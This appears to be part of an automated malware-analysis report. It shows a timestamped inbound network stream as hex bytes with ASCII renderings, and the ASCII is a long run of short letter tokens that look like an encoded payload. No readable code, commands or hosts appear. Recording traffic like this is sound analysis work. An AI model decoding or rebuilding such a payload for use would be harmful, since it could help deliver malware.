59 4f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 51 78 20 4b 51 20 59 78 20 59 4b 20 6b 4b 20 
4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 59 45 20 4f 78 51 
20 4f 4f 6f 20 4f 4f 4b 20 45 78 20 52 4b 20 6b 45 20 59 52 20 6f 51 20 6f 6f 20 4f 78 51 20 4f 4f 6f 20 52 6f 20 4b 6b 20 59 
78 20 59 4b 20 6b 4b 20 4f 4b 52 
Data Ascii: YO YK kK OOk OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Ok YK kK Ok QO EO E RK kE Yx 
YK kK Otk OOk OxQ OOo Yx oKx YO YK kK OOk OOt OxQ OOo OQx KQ Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK 
OOK YE OxQ OOo OOK Ex RK kE YR oQ oo OxQ OOo Ro Kk Yx YK kK OKR

2021-11-09 21:21:48 UTC 5 IN Data Raw: 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 
74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59
78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 
20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 
20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78
20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 
6b 4b 20 4f 4f 4b 20 4f 4f 
Data Ascii:  OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK 
kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK 
OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OO
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2021-11-09 21:21:48 UTC 6 IN Data Raw: 20 4f 4f 4b 20 59 20 45 4f 20 4b 4f 20 59 78 20 4b 6b 20 52 52 20 74 6f 20 74 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 
45 20 6b 6b 20 4b 59 20 4b 6b 20 59 78 20 52 78 20 6f 4b 52 20 6b 74 20 51 6b 20 45 4f 20 4f 20 59 78 20 4b 6b 20 52 52 
20 52 6b 20 6f 59 4f 20 4f 4f 4b 20 4f 4f 74 20 6f 51 20 4f 4b 20 4b 4b 20 4b 6b 20 59 78 20 52 78 20 4f 6f 4b 20 4f 78 51 
20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4f 4b 4b 20 6f 4f 20 4b 6f 20 52 6b 20 4f 4b 74 20 4f 4f 4b 20 4f 4f 74 20 6f 51 20 6f 
20 59 45 20 4b 51 20 59 78 20 74 78 20 4b 6f 20 4f 78 6b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 4b 74 20 59 78 20 
59 4b 20 51 4b 20 6f 78 6b 20 51 45 20 4f 45 45 20 4f 4f 6f 20 59 78 20 59 4b 20 51 45 20 6f 6f 20 6b 4b 20 4f 4f 4b 20 4f 6
f 74 20 51 74 20 74 6f 20 59 6f 20 
Data Ascii:  OOK Y EO KO Yx Kk RR to tK OOK OOt OxE kk KY Kk Yx Rx oKR kt Qk EO O Yx Kk RR Rk oYO OOK OOt 
oQ OK KK Kk Yx Rx OoK OxQ OOt OxQ Ooo OKK oO Ko Rk OKt OOK OOt oQ o YE KQ Yx tx Ko Oxk OOt OxQ Ooo oR 
Kt Yx YK QK oxk QE OEE OOo Yx YK QE oo kK OOK Oot Qt to Yo 

2021-11-09 21:21:48 UTC 8 IN Data Raw: 51 74 20 59 59 20 45 45 20 59 4b 20 6f 78 78 20 6b 6f 20 4f 52 4b 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 52 59 
20 45 78 20 59 78 20 59 4b 20 51 4b 20 4f 6f 20 4f 45 51 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4f 20 45 4f 20 45 45 20 4f 4f
4b 20 4f 6f 20 4f 4b 6f 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 78 52 20 59 6f 20 6f 45 59 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 
45 78 20 51 59 20 59 78 20 4b 6b 20 59 52 20 4f 51 20 6f 4f 6f 20 4f 4b 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 52 20 
59 4f 20 59 78 20 59 4b 20 4f 6f 74 20 6f 51 20 51 59 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 45 45 20 59 59 20 45 51 20 6b 78 
20 4f 4b 78 20 4f 4f 59 20 4f 6b 52 20 4f 4f 45 20 59 78 20 59 4b 20 52 59 20 52 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 51 
20 4f 4b 45 20 59 78 20 4b 6b 20 
Data Ascii: Qt YY EE YK oxx ko ORK OOR OxQ OOk RY Ex Yx YK QK Oo OEQ OxQ OOo YK oO EO EE OOK Oo OKo 
OxQ OOo YK oxR Yo oEY kY OOK OOY Ex QY Yx Kk YR OQ oOo OKx OOt OxQ OOR oR YO Yx YK Oot oQ QY Oxk 
OOo Yo EE YY EQ kx OKx OOY OkR OOE Yx YK RY R kK OOK Oot OQ OKE Yx Kk 

2021-11-09 21:21:48 UTC 9 IN Data Raw: 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 45 20 59 45 20 59 4b 20 52 45 20 6f 45 59 20 4f 6f 74 20 4f 4f 59 20 4f 4f 
74 20 4f 78 51 20 4f 4f 4b 20 6f 52 20 59 52 20 59 78 20 59 4b 20 6b 6f 20 4f 6f 52 20 4f 4f 4b 20 45 78 20 6f 4f 51 20 59 
78 20 4b 6b 20 59 6f 20 45 74 20 6b 78 20 51 51 20 4f 4f 45 20 4f 4f 45 20 6f 59 45 20 4f 78 4b 20 4b 6b 20 59 78 20 59 59 
20 4f 4f 45 20 4f 52 6f 20 6f 6f 6f 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4b 20 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 
59 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 45 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 74 59 20 4f 78 6f 20 45 45 20 59 4
5 20 4f 78 20 6f 45 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 45 78 20 59 51 20 59 4f 20 4b 6b 20 59 6f 20 45 74 20 6b 6f 20 
51 51 20 4f 4f 59 20 4f 6f 4b 20 
Data Ascii: OOK OOt OxE QE YE YK RE oEY Oot OOY OOt OxQ OOK oR YR Yx YK ko OoR OOK Ex oOQ Yx Kk Yo Et 
kx QQ OOE OOE oYE OxK Kk Yx YY OOE ORo ooo OxQ OOo YK oK Y YK kK Oox R kY OOo Yx Yk QE OEY kK OOK 
OOY tY Oxo EE YE Ox oEK kK OOK OOt Ex YQ YO Kk Yo Et ko QQ OOY OoK 

2021-11-09 21:21:48 UTC 10 IN Data Raw: 4f 74 20 4f 78 51 20 4f 4f 6f 20 52 4f 20 4b 6b 20 59 78 20 59 59 20 74 51 20 52 52 20 4f 4f 59 20 4f 78 51 20 
59 6f 20 4b 6b 20 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 45 78 20 74 51 20 59 78 20 4b 6b 20 59 52 
20 52 78 20 6b 52 20 4f 4f 4f 20 6f 4b 6b 20 59 59 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 6f 45 78 20 4f 4b 78 20 4f 4f 4b 
20 4f 4f 74 20 4f 78 59 20 6b 6b 20 59 20 4b 6b 20 59 78 20 52 78 20 45 51 20 74 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 
6f 52 20 51 20 59 78 20 59 4b 20 51 4b 20 4f 6f 4f 20 4f 4f 4b 20 52 51 20 74 4b 20 59 78 20 4b 6b 20 59 52 20 6f 74 20 6b 
45 20 4f 4f 52 20 4f 6f 78 20 4f 74 52 20 51 52 20 4b 6b 20 4b 6b 20 59 78 20 59 6f 20 4f 6f 4b 20 4f 6f 6f 20 4f 4f 74 20 4f 
78 51 20 4f 4f 6b 20 52 6f 20 59 59 
Data Ascii: Ot OxQ OOo RO Kk Yx YY tQ RR OOY OxQ Yo Kk Kk Yx YE kK OOK Oxx Ex tQ Yx Kk YR Rx kR OOO oKk 
YY OOo Yx KQ oE oEx OKx OOK OOt OxY kk Y Kk Yx Rx EQ tK OOt OxQ Ooo oR Q Yx YK QK OoO OOK RQ tK Yx Kk 
YR ot kE OOR Oox OtR QR Kk Kk Yx Yo OoK Ooo OOt OxQ OOk Ro YY

2021-11-09 21:21:48 UTC 12 IN Data Raw: 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 51 45 20 4f 4f 6f 20 59 78 20 59 4b 20 51 45 20 4f 
45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 20 74 6f 20 59 4f 20 4b 6b 20 59 6f 20 45 51 20 6b 45 20 51 51 20 4f 4f 45 20 4f 
6f 4b 20 4f 4f 74 20 4b 59 20 52 45 20 4f 51 4f 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 74 6f 20 4f 52 78 20 4f 59 59 
20 4b 6b 20 59 78 20 59 78 20 4f 6f 4b 20 52 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 59 20 6b 20 59 78 20 59 4b 20 51 
4b 20 6f 51 20 6f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 59 52 20 6f 52 20 4b 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 6f 20 
74 4b 20 59 4f 20 4b 6b 20 59 6f 20 45 51 20 6b 45 20 51 74 20 4f 4f 59 20 4f 6f 4b 20 4f 4f 6b 20 51 45 20 59 20 59 4f 20 
59 4b 20 6b 6f 20 4f 78 78 20 45 
Data Ascii: Rt Ox YK kK Oox oR OQE OOo Yx YK QE OE kK OOK Oot o to YO Kk Yo EQ kE QQ OOE OoK OOt KY RE 
OQO Oxk kK OOK OOR to ORx OYY Kk Yx Yx OoK RQ OOt OxQ Ooo RY k Yx YK QK oQ oOt OxQ OOo Yo YR oR Kk 
kK OOK OOY o tK YO Kk Yo EQ kE Qt OOY OoK OOk QE Y YO YK ko Oxx E

2021-11-09 21:21:48 UTC 13 IN Data Raw: 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 51 45 20 4f 4f 6f 20 59 78 20 
59 4b 20 51 45 20 4f 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 6f 52 20 4f 4f 51 20 45 59 20 59 59 20 4b 45 20 4f 6b 74 20 
4f 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 6f 6f 52 20 4f 59 51 20 59 78 20 59 4b 20 6b 78 20 51 78 20 52 52 20 
4f 78 51 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4b 59 20 4f 4f 6f 20 59 78 20 59 
6b 20 45 4f 20 4b 4f 20 52 51 20 4f 4f 74 20 4f 78 6b 20 6f 6f 4b 20 4b 6f 20 59 78 20 4b 6b 20 59 4f 20 4f 51 20 4f 45 6f 20
4f 4b 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 52 20 74 20 59 78 20 59 4b 20 51 4b 20 4f 20 74 74 20 4f 78 51 20 4f 4f 6f
20 59 52 20 51 59 20 4f 4f 4b 
Data Ascii:  OOo YR Rt Ox YK kK Oox oR OQE OOo Yx YK QE OE kK OOK Oot OoR OOQ EY YY KE Okt OK OOK OOt 
Oxk kY ooR OYQ Yx YK kx Qx RR OxQ OOo YR Rt Ox YK kK Oox oR KY OOo Yx Yk EO KO RQ OOt Oxk ooK Ko Yx Kk 
YO OQ OEo OKK OOt OxQ OOR oR t Yx YK QK O tt OxQ OOo YR QY OOK

2021-11-09 21:21:48 UTC 14 IN Data Raw: 20 6f 59 45 20 4f 78 4b 20 4b 6b 20 59 78 20 59 59 20 4f 4f 45 20 4f 52 6f 20 4f 59 74 20 4f 78 51 20 4f 4f 6f 20 
59 4b 20 6f 4b 20 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 59 4b 20 
6b 4b 20 4f 4f 4b 20 4f 4f 59 20 4f 78 4f 20 6b 6b 20 59 6f 20 4b 6b 20 59 78 20 4b 6b 20 45 6b 20 4f 20 4f 4f 51 20 4f 78 
51 20 78 20 74 52 20 4b 52 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 4f 78 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 45 59 20 
59 45 20 52 51 20 4f 52 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 51 20 59 6b 20 45 45 20 59 6b 20 45 51 20 6b 78 20 51 
51 20 4f 4f 6f 20 4f 4f 4b 20 4f 6f 4b 20 4f 51 4f 20 4f 78 52 20 59 78 20 59 4b 20 6b 59 20 6b 74 20 4f 52 59 20 6f 78 45 
20 4f 4f 6f 20 59 78 20 59 6f 20 6f 52 20 4f 
Data Ascii:  oYE OxK Kk Yx YY OOE ORo OYt OxQ OOo YK oK Y YK kK Oox R kY OOo Yx Yk QE OYK kK OOK OOY 
OxO kk Yo Kk Yx Kk Ek O OOQ OxQ x tR KR Yx YK QK oQ OxR OxQ OOo YR EY YE RQ OR OOY OOt Oxt QQ Yk EE 
Yk EQ kx QQ OOo OOK OoK OQO OxR Yx YK kY kt ORY oxE OOo Yx Yo oR O

2021-11-09 21:21:48 UTC 16 IN Data Raw: 20 4f 20 4f 20 59 74 20 6b 74 20 51 78 20 52 6f 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 78 20 6f 52 20 4b 78 20 
6b 4b 20 4f 4f 4b 20 4f 4f 59 20 4f 78 45 20 51 4f 20 52 78 20 59 78 20 45 52 20 45 4b 20 4f 6f 4b 20 6b 4b 20 4f 4f 74 20 
4f 78 51 20 4f 4f 6b 20 51 45 20 4f 4f 20 59 78 20 59 4b 20 51 4b 20 4f 6f 78 20 4f 74 4f 20 4f 4f 78 20 6b 52 20 6f 45 52 
20 4b 6b 20 59 6f 20 6f 6b 20 6b 59 20 51 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 4b 20 59 78 20 45 20 4f 4f 
4f 20 4f 4f 4b 20 4f 4f 6b 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20 45 45 20 52 20 6b 52 20 4f 4f 4b 20 6b 6f 20 4f 78 51 20 
4f 4f 6f 20 59 78 20 59 59 20 59 78 20 59 4b 20 52 51 20 4f 78 4f 20 4f 6f 74 20 4f 4f 4f 20 45 4f 20 4f 6f 52 20 4b 6b 20 59 
78 20 52 78 20 51 59 20 6b 51 20 
Data Ascii:  O O Yt kt Qx Ro OxQ OOo YR Yx oR Kx kK OOK OOY OxE QO Rx Yx ER EK OoK kK OOt OxQ OOk QE OO 
Yx YK QK Oox OtO OOx kR oER Kk Yo ok kY Qk OOt OxQ OOo Yx YK Yx E OOO OOK OOk Qk OOo Yx KQ EE R kR 
OOK ko OxQ OOo Yx YY Yx YK RQ OxO Oot OOO EO OoR Kk Yx Rx QY kQ 

Timestamp
kBytes
transferred Direction Data
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2021-11-09 21:21:48 UTC 17 IN Data Raw: 20 52 78 20 4f 45 6b 20 4f 4f 45 20 6b 45 20 4f 74 51 20 4f 4f 6f 20 6f 45 52 20 59 4f 20 6f 78 20 6f 45 6f 20 6b 
4b 20 4f 4f 52 20 51 59 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 4f 45 20 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 
51 20 4f 4f 6f 20 59 74 20 4b 51 20 59 78 20 59 4b 20 74 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6b 45 20 59 4f 20 4b 6b 
20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20 59 78 20 59 4b 20 6b 4b 20 4f 
4f 4b 20 4f 6f 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 4b 20 59 4f 20 59 4b 20 6b 4b 20 51 78 20 4f 4f 52 20 4f 78 51 20 4f 
4f 6f 20 4b 51 20 4b 6b 20 59 78 20 59 4b 20 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 4f 78 74 20 6f 20 59 4f 20 59 78 
20 74 59 20 6b 4b 20 4f 4f 4b 
Data Ascii:  Rx OEk OOE kE OtQ OOo oER YO ox oEo kK OOR QY OxQ OOo Yx OOE R YK kK OOK OOt OxQ OOo Yt 
KQ Yx YK tR OOK OOt OxQ kE YO Kk Yx YE kK OOK OOt Qk OOo Yx KQ Yx YK kK OOK OoO OxQ OOo Yx KK YO YK 
kK Qx OOR OxQ OOo KQ Kk Yx YK QK OOK OOt Oxk Oxt o YO Yx tY kK OOK

2021-11-09 21:21:48 UTC 18 IN Data Raw: 20 4f 4f 6f 20 4b 51 20 59 6b 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 78 59 20 4f 4f 6f 20 4f 4f 4b 
20 4b 51 20 59 78 20 59 4b 20 51 59 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 45 20 4f 6f 4f 20 4b 51 20 59 78 20 4b 6b 20 51 
4b 20 4f 4f 6f 20 6f 52 20 59 6f 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 78 51 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 
6f 20 74 6f 20 4f 4b 59 20 4b 6b 20 59 78 20 59 4b 20 6b 45 20 6f 51 20 4f 6f 6f 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 6b 
20 45 74 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 6f 4f 20 4f 78 4f 20 45 4f 20 4f 4f 78 20 4b 6b 20 59 78 20 52 78 20 45 6b 20 6
f 4b 74 20 4f 4f 51 20 4f 78 51 20 78 20 6f 52 20 4f 78 51 20 59 78 20 59 4b 20 51 4b 20 51 4b 20 4f 6f 4f 20 4f 78 74 20 4f 
6f 78 20 51 45 20 4f 4f 78 20 
Data Ascii:  OOo KQ Yk Yx YK kY OxY RQ OxY OOo OOK KQ Yx YK QY OOK OOt OoK E OoO KQ Yx Kk QK OOo oR 
Yo OOo Yx Yk QE OxQ kK OOK Oot Oxo to OKY Kk Yx YK kE oQ Ooo OxQ OOo YR Rk Et YK kK OOY OoO OxO EO O
Ox Kk Yx Rx Ek oKt OOQ OxQ x oR OxQ Yx YK QK QK OoO Oxt Oox QE OOx 

2021-11-09 21:21:48 UTC 20 IN Data Raw: 59 78 20 59 78 20 4f 4f 45 20 51 59 20 51 6b 20 74 59 20 4f 4b 20 59 4f 20 4b 51 20 59 78 20 59 78 20 4f 74 78 
20 4f 4f 52 20 4f 59 4f 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 52 74 20 4b 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6b 78 20 6f 45 74
20 4f 4f 4b 20 59 4f 20 4b 6b 20 59 4b 20 45 78 20 6b 59 20 4f 4f 4b 20 4f 4f 74 20 74 78 20 45 4f 20 4b 52 20 4b 6b 20 59 
78 20 52 78 20 51 59 20 74 4b 20 52 4b 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 59 59 20 51 45 20 4b 45 20 6b 4b 20 4f 4f 4b 
20 4f 6f 74 20 51 74 20 4f 6f 78 20 4b 6f 20 45 51 20 45 74 20 4f 6b 74 20 4f 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 
20 45 52 20 4b 74 20 4b 6f 20 4f 6b 74 20 4f 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 6f 6f 52 20 6f 4b 4b 20 59 7
8 20 59 4b 20 6b 78 20 51 78 20 52 
Data Ascii: Yx Yx OOE QY Qk tY OK YO KQ Yx Yx Otx OOR OYO Oxk OOo Yo Rt Kx YK kK Oox kx oEt OOK YO Kk YK 
Ex kY OOK OOt tx EO KR Kk Yx Rx QY tK RK Oxk OOo Yx YY QE KE kK OOK Oot Qt Oox Ko EQ Et Okt Oo OOK OOt 
Oxk kY ER Kt Ko Okt OK OOK OOt Oxk kY ooR oKK Yx YK kx Qx R

2021-11-09 21:21:48 UTC 21 IN Data Raw: 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 74 6f 20 4f 78 51 20 4f 4f 
6f 20 59 78 20 6f 74 20 59 4f 20 59 4b 20 6b 4b 20 6f 52 20 4f 4f 52 20 4f 78 51 20 4f 4f 6f 20 4b 51 20 4b 6b 20 59 78 20 
59 4b 20 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 4f 4f 4b 20 59 78 20 4b 6b 20 59 78 20 74 20 6b 4b 20 4f 4f 4b 20 4f 
4f 74 20 4b 6f 20 4f 4f 45 20 59 78 20 4b 6b 20 74 4b 20 59 59 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20 59 
78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4b 6b 20 59 78 20 59 4b 
20 4b 6f 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 6f 4b 4b 20 59 4f 20 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 74
20 51 6b 20 4f 4f 6f 20 59 78 
Data Ascii: t OxQ OOo Yx Kk Yx YK kK OOK to OxQ OOo Yx ot YO YK kK oR OOR OxQ OOo KQ Kk Yx YK QK OOK OOt 
Oxk OOK Yx Kk Yx t kK OOK OOt Ko OOE Yx Kk tK YY kK OOK Oot OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yo 
Kk Yx YK Ko OOY OOt OxQ oKK YO Kk Yx YE kK OOK OOt Qk OOo Yx

2021-11-09 21:21:48 UTC 22 IN Data Raw: 4f 4f 6f 20 59 78 20 59 4b 20 51 45 20 4f 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 4b 51 20 59 78 20 4b 
6b 20 59 52 20 6b 51 20 51 6b 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 74 20 59 6f 20 59 52 20 45 59 20 59 78 20 74 6b 
20 6f 59 59 20 4b 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 6f 4f 20 6f 6f 52 20 6f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 52 
51 20 74 4f 20 59 78 20 4b 6b 20 59 52 20 52 51 20 4f 78 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 45 4f 20 4f 59 6b 20 4b 
6b 20 59 78 20 4b 6b 20 59 51 20 74 45 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 51 45 20 6b 20 59 4f 20 59 4b 20 6b 6f 20 51 
51 20 4f 4f 59 20 4f 78 4f 20 51 74 20 59 4b 20 4b 45 20 4f 51 4f 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 74 6f 20 4f 
52 78 20 4f 45 4b 20 4b 6b 20 59 78 
Data Ascii: OOo Yx YK QE OE kK OOK Oot RQ KQ Yx Kk YR kQ Qk OOY OOt Oxt Qt Yo YR EY Yx tk oYY Kt OxQ OOo 
YO oO ooR oxk kK OOK OOE RQ tO Yx Kk YR RQ Oxk OOK OOt OxE EO OYk Kk Yx Kk YQ tE OOt OxQ Ooo QE k YO 
YK ko QQ OOY OxO Qt YK KE OQO Oxk kK OOK OOR to ORx OEK Kk Yx

2021-11-09 21:21:48 UTC 24 IN Data Raw: 6f 4b 6b 20 59 59 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 45 6f 20 74 59 20 4b 52 20 6f 45 6f 20 4f 6f 6f 20 45 
4f 20 6b 59 20 4b 6b 20 59 78 20 52 78 20 51 59 20 4f 4f 74 20 4f 78 51 20 6f 4b 74 20 4f 4f 78 20 4f 51 4f 20 4f 78 52 20 
59 78 20 59 4b 20 6b 59 20 6b 74 20 4f 52 59 20 6f 4b 45 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 52 20 4f 20 6b 4b 20 4f 4f 4b 
20 4f 6f 74 20 45 78 20 74 6f 20 59 78 20 4b 6b 20 59 52 20 45 78 20 51 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 6f 20 59 
6f 20 59 59 20 45 74 20 4f 74 6f 20 51 4b 20 6b 51 20 4f 4f 45 20 4f 78 52 20 4f 78 6f 20 4f 52 6b 20 59 6b 20 6f 45 52 20 
59 45 20 4f 4f 4b 20 4f 74 6f 20 4f 4f 74 20 4f 78 74 20 51 78 20 59 78 20 4b 51 20 45 4b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 
4f 4f 74 20 4f 78 74 20 4f 4f 6f 20 
Data Ascii: oKk YY OOo Yx KQ oE Eo tY KR oEo Ooo EO kY Kk Yx Rx QY OOt OxQ oKt OOx OQO OxR Yx YK kY kt 
ORY oKE OOo Yx Yo oR O kK OOK Oot Ex to Yx Kk YR Ex Q OOK OOt OxE Qo Yo YY Et Oto QK kQ OOE OxR Oxo 
ORk Yk oER YE OOK Oto OOt Oxt Qx Yx KQ EK YK kK OOK OOt Oxt OOo 

2021-11-09 21:21:48 UTC 25 IN Data Raw: 78 20 4b 6b 20 59 52 20 52 6b 20 4b 51 20 4f 4f 45 20 4f 4f 74 20 6f 51 20 4f 4b 20 4b 4b 20 4b 6b 20 59 78 20 
52 78 20 4f 6f 4b 20 4f 78 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 51 45 20 51 6f 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 
4b 45 20 4f 78 51 20 4f 4f 6f 20 59 52 20 45 59 20 59 74 20 45 51 20 51 4b 20 51 78 20 74 45 20 4f 78 51 20 4f 4f 6f 20 59 
52 20 6f 51 20 51 6f 20 45 51 20 51 59 20 51 78 20 74 45 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 51 20 6b 74 20 45 78 20 
59 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 74 20 59 52 20 6f 4b 20 4f 6f 4f 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 
6f 20 4f 4f 6f 20 59 78 20 59 6b 20 45 45 20 59 6b 20 4f 6f 4b 20 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 45 59 20 59 51 
20 6f 52 20 4f 6f 59 20 6b 4b 20 4f 
Data Ascii: x Kk YR Rk KQ OOE OOt oQ OK KK Kk Yx Rx OoK OxQ OOt OxQ Ooo QE Qo Yx YK QK oQ KE OxQ OOo 
YR EY Yt EQ QK Qx tE OxQ OOo YR oQ Qo EQ QY Qx tE OxQ OOo YR oQ kt Ex Yo OOK OOt OxE Qt YR oK OoO YK 
kK Oox oR Oo OOo Yx Yk EE Yk OoK Ok OOt OxQ Ooo EY YQ oR OoY kK O

2021-11-09 21:21:48 UTC 26 IN Data Raw: 20 4f 4b 4f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 6b 6b 20 59 52 20 4b 6b 20 59 78 20 6f 51 20 6b 74 20 4f 4f 6b 
20 6f 52 20 4f 45 45 20 4f 4f 45 20 59 78 20 59 4b 20 6f 4b 20 59 4b 20 74 4f 20 52 52 20 4f 6f 52 20 4f 78 51 20 51 6f 20 
59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 4f 4f 20 6b 6b 20 45 51 20 4b 6b 20 59 78 20 4b 6b 
20 45 6b 20 4b 59 20 4f 4f 45 20 4f 78 51 20 78 20 6f 52 20 6f 45 45 20 59 78 20 59 4b 20 6b 6f 20 51 78 20 4f 6f 52 20 4f 
78 51 20 4f 4f 6f 20 6f 59 20 59 4f 20 59 4b 20 59 4f 20 51 78 20 4f 4f 6b 20 4f 6f 45 20 4f 78 4b 20 4f 6f 52 20 59 6f 20 52 
6f 20 59 45 20 59 52 20 51 6f 20 4f 6f 4b 20 4f 6f 4b 20 51 51 20 4f 6f 6f 20 51 45 20 6f 78 4b 20 59 4f 20 59 4b 20 6b 6f 20
